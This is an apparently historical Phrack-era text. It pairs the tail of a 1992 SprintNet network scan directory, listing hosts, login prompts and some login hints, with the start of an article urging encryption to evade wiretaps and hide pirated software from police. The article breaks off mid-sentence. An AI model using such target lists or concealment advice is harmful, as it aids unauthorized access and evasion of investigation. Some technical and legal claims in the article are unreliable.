708 261 ncp02> enter system id (brs)
708 272 $ DTC 'H' or '?' for help
708 278 *
708 340 ORBIT
708 341 ORBIT
708 343 ORBIT
708 346 ENTER APPLID: V=VTAM, A=APPLA, B-APPLB, C=APPLC
708 1030 ORBIT
708 1031 ORBIT
708 1032 ORBIT
708 1033 ORBIT
708 1034 ORBIT
711 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
711 15 Prime
714 - California Scanned: 0 - 300
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
714 4 $ outdial (714)
714 23 $ outdial (714)
714 24 $ outdial (714)
714 50 Unix atma_1
714 55 $ HP-3000 HP957.MIS.FUJITSU
714 102 $ ? \
714 119 $ ? \ outdials? (barred to my pad)
714 121 $ ? /
714 124 $ ? /
714 130 $ MMSA --- ENTER APPLICATION ID :
714 131 Prime PRIMENET 22.1.2 CAJH
714 133 *
714 134
714 138 $ MMSA --- ENTER APPLICATION ID :
714 139 $ MMSA --- ENTER APPLICATION ID :
714 210 $ outdial (global)
714 213 $ ?
714 236 *
714 242 VM/CMS
714 250 *
716 - New York Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
716 50
716 140
716 141 *
716 232 TSO Bausch and Lomb Data Center
716 233 TSO Bausch and Lomb Data Center
716 234 TSO B + L DATA CENTER SERVICES
716 235 TSO B + L DATA CENTER SERVICES
716 236 TSO B + L DATA CENTER SERVICES
716 237 TSO B + L DATA CENTER SERVICES
716 238 TSO B + L DATA CENTER SERVICES
716 239 TSO B + L DATA CENTER SERVICES
716 240 TSO B + L DATA CENTER SERVICES
716 241 TSO B + L DATA CENTER SERVICES
716 242 TSO B + L DATA CENTER SERVICES
716 603 TSO B + L DATA CENTER SERVICES
716 605 TSO B + L DATA CENTER SERVICES
717 - Pennsylvania Scanned: [0 - 500]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
717 24 *
717 31
717 32 *
717 33 *
717 34 *
717 44
717 45 VOS (use "list_users")
717 46 VOS
717 47 Woolworth Management Information Center X.25
717 48 Woolworth Management Information Center X.25
717 51 Woolworth Management Information Center Multi-System
717 54 $TM/ID: (Sprint Address Directory)
717 55 $TM/ID:
717 56 $TM/ID:
717 150 *
717 160 *
717 161 *
717 162 *
717 163 *
717 234 $ HP-3000 hello field.support
717 242 $
717 243 CONNECTED TO PACKET/400
747 - Boeing Scanned: [N/A]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
747 Note: All addresses in this prefix pass through a network
security validator. I was unable to get passed it and
unable to scan this prefix.
Network validations as follows:
ENTER USERID>
ENTER PASSWORD>
ENTER SERVICE NAME>
INVALID USER IDENTIFICATION
After too many attempts, you get this cheerful message:
NOTICE!!! This is a private network. It is
restricted to authorized users only. If you do
not have authorization, you are warned to
disconnect at once. Actual or attempted use,
access, communication or examination by
unauthorized persons will result in criminal
and civil prosecution to the full extent of
the law.
If you require assistance in the use of this
network or access to this network, please call:
206-865-7168
if no answer 206-234-0911
755 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
755 1001 $ Prime
755 1002 $ Prime
755 1003 $ Prime
755 1004 $ Prime
755 1012 $ MHP201A IUX0306 APPLICATION:
755 1014 $ MHP201A LUX0502 APPLICATION:
755 1020 $
755 1023 $ MHP201A ITVG0182 APPLICATION:
755 1025 $ MHP201A ITVG0182 APPLICATION:
757 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
757 120 (echo)
757 126 MSG10-RJRT TERMINAL-ID:GSSCXB61 IS NOW IN SESSION
784 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
784 11000 $ Operator:
787 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
787 0 Prime
787 1 Prime
787 2 Prime
787 10001$
787 50001 USER ID--> (diverted for network validation)
787 50002$ Enter profile ID:
787 50003$
787 50005
787 50006$
787 70001
787 70002$
787 90001 Prime
787 90003$
787 90006 Prime PRIMENET 23.2.0v.PSWI STH-A
787 90007$
787 90008 CRYPTO ENTER "IDX" OR "ID" AND USER ID -->
787 90012
787 90014 VAX/VMS
787 90015$ USER ID-->
787 90016$
787 90018$
787 90023$
787 90025$ VAX/VMS V{lkommen...
787 90026$ access barred
789 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
789 11000 Prime
801 - Utah Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
801 25 Wasatch System.
801 26 Wasatch System.
801 27 Wasatch System.
801 54 $ VAX/VMS WELCOME TO SOLO - Unathorized use prohibited
801 250 ID?>
801 260
801 360 *
801 362
804 - Virginia Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
804 35 VAX/VMS
804 50 *
804 153
804 241 $ CONNECTED TO PACKET/74
804 242 *
804 243 *
804 244 *
804 245 *
804 256 CONNECTED TO PACKET/94
804 261 *
804 263 *
804 264 *
805 - California Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
805 50 VAX/VMS
805 51 VAX/VMS
805 52 VAX/VMS
805 150 Prime PRIMENET 22.0.1 MBM
805 230 $
810 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
810 26 *
811 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
811 13.12 *
811 13.16 Unix/SysV
811 15 *
811 17 $ HP-3000
811 21 $ Unix
811 22 $ Unix
811 24 $ Unix
811 25 TACL 1>
811 27.18 Unix/SysV
811 27.19 Unix/SysV
811 43.14 Unix/SysV
811 43.15 Unix/SysV
811 67
811 68
811 76.18 Unix/SysV Highlands VMS A login:
811 76.19 DACS1 (try 'help' - tons of cmds available)
811 84.19 * stat==STATUS STATISTICS?
811 85.2 *
811 141
811 142
811 150.10 *
811 315
811 316
811 411 MHP201A UEVT20U0
811 412 BA
811 413 @@
811 414 @@
811 415
813 - Florida Scanned: [0 - 1000]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
813 20 *
813 21 *
813 48 *
813 52 $ Price Waterhouse
813 53 *
813 55 $ Price Waterhouse
813 59 $ Price Waterhouse National Admin Center
813 73 VM/CMS
813 74 $$ 4200 MODEL:
813 124 *
813 138 *
813 143A IBM Information Services.
813 147A IBM Information Services.
813 149 *
813 151 $ Price Waterhouse
813 153 *
813 154 *
813 172A IBM Information Services.
813 174A IBM Information Services, Information Network
813 237 *
813 240
813 248
813 261 *
813 266A IBM Information Services.
813 267A IBM Information Services.
813 269 VAX/VMS
813 270 VAX/VMS
813 271 Access Code:
813 272 Prime
813 277 U#=
813 330 *
813 333
813 352
813 358 USER ID
813 377
813 433 USER ID
813 434 USER ID
813 436 U#=
813 438 VAX/VMS
813 450
813 456 USER ID
813 457 USER ID
813 458 USER ID
813 459 USER ID
813 460 USER ID
813 461 USER ID
813 465 USER ID
813 466 USER ID
813 467 USER ID
813 468 USER ID
813 469 USER ID
813 470 USER ID
813 471 USER ID
813 472 USER ID
813 660
813 1330 *
813 1340 *
814 - Pennsylvania Scanned: [0 - 200]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
814 50 Prime PRIMENET 23.2.0.R39 SYSA
814 130 *
816 - Missouri Scanned: [0 - 1000 & various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
816 31 *
816 36
816 179 *
816 231 VAX/VMS
816 237 VAX/VMS
816 238 VAX/VMS
816 258 *
816 259 *
816 341
816 356 *
816 358 CONNECTED TO PACKET/94
816 359 CONNECTED TO PACKET/94
816 364 *
816 434
816 442 *
816 444 *
816 447 *
816 450 VAX/VMS
816 455
816 456
816 462 *
816 479 *
816 1041 $ (echo)
816 1042 $
816 1045 $
816 1046 $
816 1059 *
816 1058 *
816 1300 Major BBS WELCOME TO THE OASIS BBS - NODE 1
816 90031*
816 90032*
816 90038
816 90042 VAX/VMS #3MRPGWY
818 - California Scanned: [0 - 300]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
818 21 *
818 30 *
834 - unknown Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
834 10003 VAX/VMS
834 10004 VAX/VMS
834 10005 VAX/VMS
834 10006 VAX/VMS
834 10007 VAX/VMS
834 10050 through 10099 are all VAXes
834 10100 Unix BIX -- ttyx1c, 34101 (Byte Information eXchange)
834 10101 through 10999 are all VAXes
834 20005 Prime PRIMENET 20.2.7 IREX
834 20009 MHP1201I TERMINAL CONNECTED TO PACKET/400
834 20201 (no response)
834 20202
834 20203
834 20204
834 20205
840-849 - unknwon Scanned:[N/A]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
840 Note: All these prefixes except 845 pass through Sprint's
841 TAMS Network validation. I was unable to get passed this
842 to scan. These addresses are only left in for the sake of
843 completeness.
844
845 * 845 seems to be disabled.
846
847 Network validation as follows:
848
849 YOUR CALL HAS BEEN DIVERTED FOR NETWORK USER VALIDATION.
USER ID :
PASSWORD :
BH:INVALID USER ID OR PASSWORD.
890-895 - unknown Scanned:[N/A]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
890 $ Note: none of these addresses accept collect connections,
891 $ and all of them pass through some sort of network
892 $ validation. I was unable to get past this, and scan
893 $ them. These are only left in for the sake of completeness.
894 $
895 $ Network validation as follows:
ADTN USER ID:
ADTN PASSWORD:
909 - SprintNet Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
909 3 $ SprintNet Pad
909 6
909 8 Prime
909 9 Prime
909 10 Prime
909 12 Prime
909 13
909 14 SprintNet Pad
909 18
909 18.11 DJ
909 18.13 CARL
909 18.14 APPLE
909 18.15 GTEES
909 18.16 SONIC
909 18.17 NLM
909 18.18 ECSBBDS
909 18.19 ECSDIRE
909 18.20 ECSDREV
909 18.22 PLANETM
909 18.23 PLANDIR
909 18.24 SCANDIR
909 18.25 SCANECS
909 18.26 GRASSRT
909 18.27 GABST
909 18.28 INPLAND
909 18.29 INPLANM
909 18.30 ECHO
909 18.31 FARS
909 18.33 ACTB
909 18.34 OAG
909 18.35 CAPLANM
909 18.38 PLANPBB
909 18.39 DOAG
909 18.40 ACSDB
909 18.41 TOP
909 18.42 PAGES
909 18.43 CHEMJOB
909 18.44 OHPLANM
909 18.45 OHPLAND
909 18.46 ILPLANM
909 18.47 ILPLAND
909 18.48 GWN
909 18.49 CHEMREF
909 18.50 BOREAL
909 18.51 COMPETE
909 18.52 SAMI
909 18.53 UTINFO
909 18.54 KWIC
909 18.55 GRAD
909 18.56 SYM
909 18.57 CONDO
909 18.58 ISTHMUS
909 18.59 NETWRKS
909 18.70 PLANOSA
909 18.71 GROUP
909 18.72 CMADR
909 18.73 NEWS
909 18.74 IEEEDB
909 18.75 XDATA
909 18.76 LOCAL
909 18.77 CAPLAND
909 18.78 ERC
909 18.79 SEAGRAN
909 18.80 NSSDC
909 18.83 COLD
909 18.84 GEOREF
909 18.85 NTIS
909 18.86 CURRENT
909 18.87 SABRE
909 18.88 ARCTIC
909 18.89 ECS
909 23 Prime
909 26 Prime
909 27 Prime
909 33 $ (not from this DTE)
909 38 User name?
909 39 Prime
909 44 Prime
909 49 USER ID
909 51 Your call cannot be completed (unknown destination).
909 52 Your call cannot be completed (unknown destination).
909 53 User name?
909 54
909 55 USER ID
909 58
909 58
909 62 User name?
909 63 User name?
909 65 User name?
909 77 Prime
909 79 MHP201A XLU76001 * VERSION 6.1.3 *
909 82 Prime
909 90 Prime
909 92 Prime
909 94 Prime
909 95 Prime
909 97 Prime
909 98 Prime Please login [CMOS]:
909 100 Prime
909 103 TELENET ASYNC TO 3270 SERVICE
909 104 TELENET ASYNC TO 3270 SERVICE
909 107 *
909 116 Prime
909 117 Prime
909 121
909 123 User name?
909 125
909 126
909 130 Prime
909 131 Prime
909 136 Prime
909 137 Prime
909 139 Prime
909 140 TACL 1>
909 141 Prime
909 143 Prime
909 144 Prime
909 146 User name?
909 147 User name?
909 148 User name?
909 149 User name?
909 151
909 153 TACL 1>
909 155 User name?
909 158 User name?
909 159 User name?
909 160 User name?
909 161 User name?
909 162 User name?
909 165 User name?
909 167 TACL 1>
909 168 User name?
909 171 TELENET ASYNC TO 3270 SERVICE
909 172 TELENET ASYNC TO 3270 SERVICE
909 173 User name?
909 176 Prime
909 178 USER ID
909 179 USER ID
909 184 Prime
909 205 Prime
909 206 Prime
909 212 Prime Please login [S212]:
909 235 Prime Please Login [S235]:
909 236 Prime Please Login [S235]:
909 239 Prime
909 302 Prime Please login [S302]:
909 331 *
909 352 !LOAD AND FUNCTION TESTER
909 353 !LOAD AND FUNCTION TESTER
909 354 !LOAD AND FUNCTION TESTER
909 355 !LOAD AND FUNCTION TESTER
909 400 User name?
909 401 User name?
909 402 Unix DG/UX Release 4.31. AViiON (tpx1b)
909 403 User name?
909 404 User name?
909 406 User name?
909 407 User name?
909 408 User name?
909 409 User name?
909 500 Prime
909 501 Prime
909 502 Prime
909 503 Prime
909 555 Unix DG/UX (joker)
909 615 Prime
909 623 User Name?
909 626 User name?
909 627 User name?
909 628 User name?
909 629 User name?
909 630 User name?
909 631 PC-Pursuit BBS
909 640 User name?
909 641 User name?
909 642 User name?
909 643 User name?
909 644 Unix X.29 Terminal Service (courts)
909 645 User name?
909 649
909 650 User name?
909 651 User name?
909 652 Unix X.29 Terminal Service (courts)
909 656 REJECTING 00 00
909 661
909 751 SPRINT EASTERN REGION NETWORK
909 761 User name?
909 762 User name?
909 763 User name?
909 764 TELENET ASYNC TO 3270 SERVICE
909 767 SPRINT EASTERN REGION NETWORK
909 769
909 770 Unix X.29 Terminal Service (fan2)
909 772 Prime
909 776 Unix DG/UX Release 4.31. AViiON (tpx1b)
909 777 TELENET ASYNC TO 3270 SERVICE
909 779 TELENET ASYNC TO 3270 SERVICE
909 784 TELENET ASYNC TO 3270 SERVICE
909 798 Prime Please login [S798]
909 800 User name? help
909 801 Unix DG/UX Release 4.31. AViiON (tpx1b)
909 805 User name?
909 806 Your call cannot be completed (unknown destination).
909 811 Unix DG/UX Release 4.31. AViiON (tpx1b)
909 813 User name?
909 814 User name?
909 816 User name?
909 817 User name?
909 818 User name?
909 819 User name?
909 822 User name?
909 823 User name?
909 824 User name?
909 828 User name?
909 830 User name?
909 831 User name?
909 840 User name?
909 841 User name?
909 842 User name?
909 843 User name?
909 844 User name?
909 845 User name?
909 846 Your call cannot be completed (unknown destination).
909 847
909 849 Unix X.29 Terminal Service
909 900 Prime
909 901 Prime
909 2070 Prime Please Login [S235]:
909 2075 Prime Please login [S2075]:
909 2080 Prime Please login [CMOS]:
909 2086 Unix DG/UX (iceman)
909 2090 Prime Please login [S798]
909 2091 Prime
909 2092 Prime
910 - SprintNet Scanned: various
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
910 100 Prime
910 101 Prime
910 200 Prime
910 400 Prime
910 401 Prime
910 500 Prime
910 501 Prime
910 503 Prime Please Login.
910 504 Prime Please Login.
910 600 Prime
910 601 Prime
920 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
920 102 INSTITUTE OF NUCLEAR POWER OPERATIONS
920 103 INSTITUTE OF NUCLEAR POWER OPERATIONS
920 104 You are now connected to the computer. (16)
920 105 INSTITUTE OF NUCLEAR POWER OPERATIONS
920 106 You are now connected to the computer. (16)
920 107 You are now connected to the computer. (16)
933 - unknown Scanned: [various]
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
933 10000 Unix DG/UX Release 4.32. AViiON (atlantic)
Note: all other addr's after 1000 = BUSY!
Mnemonic Addresses Scanned: N/A
ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW
---------- ----------- -------------------------------------------------
APPLE Unix 4.3 BSD UNIX (apple.com)
BCS ACCESS TO THIS ADDRESS NOT PERMITTED.
BETA (hangs)
BIX Unix Welcome to BIX -- ttyx11c, 34101
BRS ENTER BRS PASSWORD
CCC02 GOOD DAY, PLEASE ENTER YOUR ID NUMBER
CCC03 GOOD DAY, PLEASE ENTER YOUR ID NUMBER
CLARIONET Major BBS Userid : new
CMS enter a for astra
COM NOT REACHABLE 05 E6
CONTEL GTE Contel DUAT System (airplane stuff)
COS enter a for astra
D41 Prime Primecom Network 19.4Q.111 System 41
D42 Prime Primecom Network 19.4Q.111 System 42
D43 Prime Primecom Network 19.4Q.111 System 43
D44 Prime Primecom Network 19.4Q.111 System 44
D46 Prime Primecom Network 19.4Q.111 System 46
D52 Prime Primecom Network 19.4Q.111 System 52
D56 Prime Primecom Network 18.4Y System 56
D57 Prime Primecom Network 19.4Q.111 System 57
D61 Prime Primecom Network 19.4Q.111 System 31
D64 Prime Primecom Network 19.4Q.111 System 64
DELPHI VAX/VMS Username:
DIALOG Dialog Information Services
DIR
DOW WHAT SERVICE PLEASE????
DUAT GTE Contel DUAT System
DUNS Dunsnet (D&B)
EIES Unix HP-UX ciathp A.B7.00 U 9000/835
FAR Please enter your ID number:
FED REJECTING 00 E8
GOLD $
GTEMAIL SprintNet Directory
INFO Your call cannot be completed (unknown destination).
IRIS NOT REACHABLE 05 E6
ITI VAX/VMS Usuario :
KIS ACCESS TO THIS ADDRESS NOT PERMITTED.
LEXIS Lexis and Nexis
MAIL SprintNet Directory
META Unix tmn!login:
MMM USER ID
MUNI ACCESS TO THIS ADDRESS NOT PERMITTED.
NAS PLEASE ENTER LOGIN
NASA
NET Prime NewsNet
NETX SNPBBS Telenet's NETXBBS (Old PCP/New Buisnesscall bbs?)
NLM PLEASE ENTER LOGIN
NSF ACCESS TO THIS ADDRESS NOT PERMITTED.
OAG PLEASE ENTER SUBSCRIBERID;PASSWORD
OLS NOT OPERATING 09 00
ONLINE VOS Please login
ORBIT ENTER ORBIT USERID
PDN Major BBS Public Data Network (BBS) User-ID? new
PLASPEC Unix
PLAY $
PORTAL Portal Communications Company.
PSINET $
PURSUIT SNPBBS PC-Pursuit BBS
QUICK PLEASE ENTER YOUR BMG USERID :
SIS NOS CDCNET
SPR REMOTE PROCEDURE ERROR 11 51
STK1 ACCESS TO THIS ADDRESS NOT PERMITTED.
STK2 ACCESS TO THIS ADDRESS NOT PERMITTED.
STK3 ACCESS TO THIS ADDRESS NOT PERMITTED.
TELEX User name?
TELEMAIL User name?
TPE $ Major BBS (adult chat/bbs) Member-ID? new
TRACK $
TRW User name?
UNISYS ACCESS TO THIS ADDRESS NOT PERMITTED.
USIBM
VONS USER ID
VUTEXT VU/TEXT
WARNER ACCESS TO THIS ADDRESS NOT PERMITTED.
WESTLAW ENTER ID
ZIFF **** Invalid sign-on, please try again ****
PC-Pursuit Dialers
~~~~~~~~~~~~~~~~~~
Usage: C D/<dialer>/<baud>,<nui>,<password> (Note: bauds are 3, 12, or 24)
NPA Dialer
~~ ~~~~~~
313 MIAAR
404 GAATL
512 TXAUS
617 MABOS
312 ILCHI
708 ILCHI (1-708+num)
815 ILCHI (1-815+num)
216 OHCLE
714 CACOL
614 OHCOL
214 TXDAL
817 TXDAL (817+num)
303 CODEN
313 MIDET
818 CAGLE
310 CAGLE (1-310+num)
213 CAGLE (1-213+num)
203 CTHAR
516 NYHEM
713 TXHOU
317 ININ12
317 ININ24
816 MOKCI
913 MOKCI
213 CALAN
310 CALAN (1-310+num)
818 CALAN (1-818+num)
305 FLMIA
414 WIMIL
612 MNMIN
201 NJNEW
908 NJNEW (1-908+num)
901 TNMEM
601 TNMEM (1-601+num)
908 NJNBR
201 NJNBR (1-201+num)
504 LANOR
212 NYNYO
516 NYNYO (1-516+num)
718 NYNYO (1-718+num)
914 NYNYO (1-914+num)
415 CAOAK (1-415+num)
510 CAOAK
407 FLORL
415 CAPAL
408 CAPAL (1-408+num)
510 CAPAL (1-510+num)
215 PAPHI
602 AZPHO
412 PAPIT
503 ORPOR
919 NCRTP
916 CASAC
801 UTSLC
619 CASDI
415 CASFA
510 CASFA (1-510+num)
408 CASJO
510 CASJO (1-510+num)
415 CASJO (1-415+num)
714 CASAN
310 CASAN (1-310+num)
213 CASAN (1-213+num)
206 WASEA
314 MOSLO
618 MOSLO (1-618+num)
813 FLTAM
202 DCWAS
703 DCWAS (1-703+num)
301 DCWAS (1-301+num)
************************End SprintNet Directory 92**************************
-Sky
==Phrack Magazine==
Volume Four, Issue Forty-Two, File 11 of 14
###################################################
# The Paranoid Schizophrenics Guide to Encryption #
# (or How to Avoid Getting Tapped and Raided) #
###################################################
Written by The Racketeer of
The /-/ellfire Club
The purpose of this file is to explain the why and the how of Data
Encryption, with a brief description of the future of computer security,
TEMPEST.
At the time of this issue's release, two of the more modern software
packages use encryption methods covered in this article, so exercise some of
your neurons and check into newer releases if they are available. Methods
described in this file use PGP, covering an implementation of Phil Zimmermann's
RSA variant, and the MDC and IDEA conventional encryption techniques by using
PGP and HPACK.
--------------------
WHY DATA ENCRYPTION?
--------------------
This isn't exactly the typical topic discussed by me in Phrack.
However, the importance of knowing encryption is necessary when dealing with
any quasi-legal computer activity. I was planning on starting my series on
hacking Novell Networks (so non-Internet users can have something to do), but
recent events have caused me to change my mind and, instead of showing people
how to get into more trouble (well, okay, there is plenty of that in this file
too, since you're going to be working with contraband software), I've opted
instead to show people how to protect themselves from the long arm of the Law.
Why all this concern?
Relatively recently, The Masters of Deception (MoD) were raided by
various federal agencies and were accused of several crimes. The crimes they
did commit will doubtlessly cause more mandates, making the already
too-outrageous penalties even worse.
"So?" you might ask. The MoD weren't exactly friends of mine. In fact,
quite the contrary. But unlike many of the hackers whom I dealt with in the
"final days" prior to their arrest, I bitterly protested any action against the
MoD. Admittedly, I followed the episode from the beginning to the end, and the
moral arguments were enough to rip the "Hacker World" to pieces. But these
moral issues are done, the past behind most of us. It is now time to examine
the aftermath of the bust.
According to the officials in charge of the investigation against MoD
members, telephone taps were used to gain evidence against members
successfully. All data going in and out of their house was monitored and all
voice communications were monitored, especially between members.
So, how do you make a line secure? The party line answer is use of
effective encryption methods.
Federal investigative agencies are currently pushing for more
technological research into the issue of computer security. All of the popular
techniques which are being used by hackers today are being used by the
government's R&D departments.
Over the course of the last 5 years, I've watched as the U.S.
Government went from a task force of nearly nil all the way to a powerful
marauder. Their mission? Unclear. Regardless, the research being
accomplished by federally-funded projects dealing with the issues of computer
security are escalating. I've personally joined and examined many such
conferences and have carefully examined the issues. Many of these issues will
become future Phrack articles which I'll write. Others, such as limited-life
semiconductors and deliberate telephone line noise sabotage caused by ACK
packet detections in order to drive telecommunication costs higher, are sadly
unpreventable problems of the future which won't be cured by simple awareness
of the problem.
They have different names -- Computer Emergency Response Team (CERT),
Computer Assisted Security Investigative Analysis Tool (FBI's CASIAT), the
Secret Service's Computer Fraud Division, or the National Computer Security
Center (NSA's NCSC). Scores of other groups exist for every network, even
every operating system. Their goal isn't necessarily to catch hackers; their
goal is to acquire information about the act of hacking itself until it is no
longer is a problem. Encryption stands in the way.
Computer Security is literally so VAST a concept that, once a person
awakens to low-level computer mechanics, it becomes nearly impossible to
prevent that person from gaining unauthorized access to machines. This is
somewhat contradictory to the "it's all social engineering" concept which we
have been hearing about on Nightline and in the papers. If you can't snag them
one way though, you can get them another -- the fact is that computers are
still too damn vulnerable these days to traditional hacking techniques.
Because of the ease of breaking through security, it becomes very
difficult to actually create an effective way to protect yourself from any form
of computer hacking. Look at piracy: they've tried every trick in the book to
protect software and, so far, the only success they have had was writing
software that sucked so much nobody wanted a copy.
Furthermore, totally non-CPU related attacks are taking place. The
passing of Anti-TEMPEST Protection Laws which prevent homes from owning
computers that don't give off RF emissions has made it possible for any Joe
with a few semesters of electrical engineering knowledge to rig together a
device that can read what's on your computer monitor.
Therefore:
Q: How does a person protect their own computer from getting hacked?
A: You pretty much can't.
I've memorized so many ways to bypass computer security that I can
rattle them off in pyramid levels. If a computer is not even connected to a
network or phone line, people can watch every keystroke typed and everything
displayed on the screen.
Why aren't the Fedz using these techniques RIGHT NOW?
I can't say they are not. However, a little research into TEMPEST
technology resulted in a pretty blunt fact:
There are too many computer components to scan accurately. Not the
monitor, oh no! You're pretty much fucked there. But accessories for input
and output, such as printers, sound cards, scanners, disk drives, and so
forth...the possibility of parallel CPU TEMPEST technology exists, but there are
more CPU types than any mobile unit could possibly use accurately.
Keyboards are currently manufactured by IBM, Compaq, Dell, Northgate,
Mitsuma (bleah), Fujitsu, Gateway, Focus, Chichony, Omni, Tandy, Apple, Sun,
Packard-Bell (may they rot in hell), Next, Prime, Digital, Unisys, Sony,
Hewlett-Packard, AT&T, and a scattering of hundreds of lesser companies. Each
of these keyboards have custom models, programmable models, 100+ key and < 100
key models, different connectors, different interpreters, and different levels
of cable shielding.
For the IBM compatible alone, patents are owned on multiple keyboard
pin connectors, such as those for OS/2 and Tandy, as well as the fact that the
ISA chipsets are nearly as diverse as the hundreds of manufacturers of
motherboards. Because of lowest-bid practices, there can be no certainty of
any particular connection -- especially when you are trying to monitor a
computer you've never actually seen!
In short -- it costs too much for the TEMPEST device to be mobile and
to be able to detect keystrokes from a "standard" keyboard, mostly because
keyboards aren't "standard" enough! In fact, the only real standard which I
can tell exists on regular computers is the fact that monitors still use good
old CRT technology.
Arguments against this include the fact that most of the available PC
computers use standard DIN connectors which means that MOST of the keyboards
could be examined. Furthermore, these keyboards are traditionally serial
connections using highly vulnerable wire (see Appendix B).
Once again, I raise the defense that keyboard cables are traditionally
the most heavily shielded (mine is nearly 1/4 inch thick) and therefore falls
back on the question of how accurate a TEMPEST device which is portable can be,
and if it is cost effective enough to use against hackers. Further viewpoints
and TEMPEST overview can be seen in Appendix B.
As a result, we have opened up the possibility for protection from
outside interference for our computer systems. Because any DECENT encryption
program doesn't echo the password to your screen, a typical encryption program
could provide reasonable security to your machine. How reasonable?
If you have 9 pirated programs installed on your computer at a given
time and you were raided by some law enforcement holes, you would not be
labeled at a felon. Instead, it wouldn't even be worth their time to even raid
you. If you have 9 pirated programs installed on your computer, had 200
pirated programs encrypted in a disk box, and you were raided, you would have
to be charged with possession of 9 pirated programs (unless you did something
stupid, like write "Pirated Ultima" or something on the label).
We all suspected encryption was the right thing to do, but what about
encryption itself? How secure IS encryption?
If you think that the world of the Hackers is deeply shrouded with
extreme prejudice, I bet you can't wait to talk with crypto-analysts. These
people are traditionally the biggest bunch of holes I've ever laid eyes on. In
their mind, people have been debating the concepts of encryption since the dawn
of time, and if you come up with a totally new method of data encryption, -YOU
ARE INSULTING EVERYONE WHO HAS EVER DONE ENCRYPTION-, mostly by saying "Oh, I
just came up with this idea for an encryption which might be the best one yet"
when people have dedicated all their lives to designing and breaking encryption
techniques -- so what makes you think you're so fucking bright?
Anyway, crypto-(anal)ysts tend to take most comments as veiled insults,
and are easily terribly offended. Well, make no mistake, if I wanted to insult
these people, I'd do it. I've already done it. I'll continue to do it. And I
won't thinly veil it with good manners, either.
The field of Crypto-analysis has traditionally had a mathematical
emphasis. The Beal Cipher and the German Enigma Cipher are some of the more
popular views of the field. Ever since World War 2, people have spent time
researching how technology was going to affect the future of data encryption.
If the United States went to war with some other country, they'd have a
strong advantage if they knew the orders of the opposing side before they were
carried out. Using spies and wire taps, they can gain encrypted data referred
to as Ciphertext. They hand the information over to groups that deal with
encryption such as the NSA and the CIA, and they attempt to decode the
information before the encrypted information is too old to be of any use.
The future of Computer Criminology rests in the same ways. The
deadline on white collar crimes is defaulted to about 3-4 years, which is
called the Statute of Limitations. Once a file is obtained which is encrypted,
it becomes a task to decrypt it within the statute's time.
As most crypto-analysts would agree, the cost in man-hours as well as
supercomputer time would make it unfeasible to enforce brute force decryption
techniques of random encryption methods. As a result of this, government
regulation stepped in.
The National Security Agency (referred to as "Spooks" by the relatively
famous tormenter of KGB-paid-off hackers, Cliff Stoll, which is probably the
only thing he's ever said which makes me think he could be a real human being)
released the DES -- Data Encryption Standard. This encryption method was
basically solid and took a long time to crack, which was also the Catch-22.
DES wasn't uncrackable, it was just that it took "an unreasonable
length of time to crack." The attack against the word "unreasonable" keeps
getting stronger and stronger. While DES originated on Honeywell and DEC PDPs,
it was rumored that they'd networked enough computers together to break a
typical DES encrypted file. Now that we have better computers and the cost
